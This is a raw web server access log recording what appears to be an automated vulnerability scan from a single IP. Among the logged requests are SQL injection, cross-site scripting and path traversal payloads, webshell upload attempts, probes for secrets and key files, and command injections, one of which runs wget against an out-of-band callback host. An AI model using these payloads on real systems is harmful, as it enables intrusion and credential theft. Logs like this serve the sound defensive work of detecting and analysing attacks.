[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.sass-lint.yml HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9 HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/admin/public/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://192.168.2.1/ HTTP/1.1" 226
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //htdocs/index.php/index.php?redirect=true&meth=ajax HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp/updateme/sinfor/ad/sys/sys_user.conf HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/storage.yml HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/public/info HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.scrutinizer.yml HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /down.php HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log.txt HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/login.php?user=admin HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /aura HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dana-na/auth/url_3/welcome.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inormalydonotexist HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?plot=;wget%20http://d5g6to2hausk1oj0j65gkipjgp9rirdms.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /irj/portal HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /rep/login HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/automerge.yml HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://127.0.0.1:587 HTTP/1.1" 226
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api2/server-info/ HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/bc/gui/sap/its/webgui HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /searchreplacedb2.php HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/taskProc/ HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //infophp.php HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /websrvs/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/qmailadmin HTTP/1.1" 199
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /prod/lib/php/ HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.~ HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /salesforce.js HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpmyadmin/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/read/JMImplementation:type=MBeanServerDelegate/SpecificationVersion HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /search.php?searchtype=5 HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/guest/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/app.db HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fileman/php/fileslist.php HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tool/log/c.php?strip_slashes=md5&host=380DIAA8mA7QLb7buGuEkkZrkcY HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php/renamefile.php?f=%2Fapp%2FUploads%2F380DIWtH7WabFB1uh4xBTCrZn79.jpg&n=380DIWtH7WabFB1uh4xBTCrZn79.php HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SecMail/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20md5(999999999)))),@`%27` HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/public/bc/icf/logoff?redirecturl=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /view/systemConfig/management/nmc_sync.php?center_ip=127.0.0.1&template_path=|rm+os1jhz.txt|cat HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3/phpmyadmin/scripts/setup.php HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /psp/fscmprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /roundcube/logs/errors.log HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /accounts/login/ HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actpt_5g.data HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../../../../../windows/win.ini HTTP/1.1" 226
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /?g=obj_app_upfile HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secret_token.rb HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/group/x_group.php?id=1 HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secrets.yml HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/login/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wizard/ HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secadmin/ HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/sls/auth HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /irj/portal/fiori HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //apache-default/phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //a.html HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //openam/UI/login HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /seeyon/rest/authentication/ucpcLogin HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /op/op.Login.php HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /out/out.Login.php?referuri=%2Fout%2Fout.ViewFolder.php HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /yyoa/ext/trafaxserver/SystemManage/config.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /seeyon/management/index.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /yyoa/assess/js/initDataAssess.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/9 HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /seeyon/main.do?method=changeLocale HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /seeyon/main.do?method=login HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /PMA/server_import.php HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(99999)+union+all+select+1,2,(md5(999999999)),4 HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /yyoa/createMysql.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.old HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.xz HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.zip HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.z HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.Z HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://192.168.2.1:22/ HTTP/1.1" 226
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scriptcase/prod/lib/php/ HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-ssl/qmailadmin/qmailadmin HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fileman/asp_net/main.ashx HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //php_info.php HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php/movefile.php?f=%2Fapp%2FUploads%2F380DIWtH7WabFB1uh4xBTCrZn79.jpg&n=%2Fapp%2FUploads%2F380DIWtH7WabFB1uh4xBTCrZn79.php HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/sqlite.db HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,md5(999999999),0x7e),1) HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /roundcube/logs/errors HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sts/Content/Images/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /securenvoy/ HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/sitecore/Sitecore.Mvc.DeviceSimulator.Controllers.SimulatorController,Sitecore.Mvc.DeviceSimulator.dll/Preview?previewPath=/App_Data/license.xml HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //web/phpmyadmin/scripts/setup.php HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/postProcessing/testNaming?pattern=%3Csvg/onload=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /simplesaml/module.php/core/frontpage_welcome.php HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/initializers/secret_token.rb HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..///////..////..//////etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /scrm/crm/admin HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /~sicom/mgrng/LoginForm.php HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search.php?q=%3CScRipT%3Ealert(document.domain);%3C/ScRipT%3E HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sitecore/shell/sitecore.version.xml HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CSPRD_PUB/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_phpmyadmin/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/10 HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login_uid.php HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /siteminderagent/forms/smpwservices.fcc?USERNAME=\\u003cimg\\u0020src\\u003dx\\u0020onerror\\u003d\\u0022confirm(document.domain)\\u0022\\u003e&SMAUTHREASON=7 HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //.build.sh HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scriptcase/devel/iface/ HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/recovery/install/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /server/index.php?s=/api/user/login HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.html HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /attachements/msepWM.php HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sendgrid.env HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/t/out?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/secrets.yml HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.do HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sftp-config.json HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /s/sfsites/aura HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wd/hub HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_vti_pvt/service.pwd HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings.php.bak HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ssh/202.181.208.139:443.ppk HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servicedesk/customer/user/login HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/3fBLkd.jsp&fileId=2 HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /localhost.key HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /yyoa/ext/createMysql.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Sitefinity/Authenticate/SWT HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/server_import.php HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /deployment-config.json HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/error.log HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SystemManager/Account/SignIn HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/other/service-account-credentials.json HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /HelpTheHelpDesk.jsdbx HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /storage/ HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /seeyon/thirdpartyController.do HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backend/login HTTP/1.1" 196
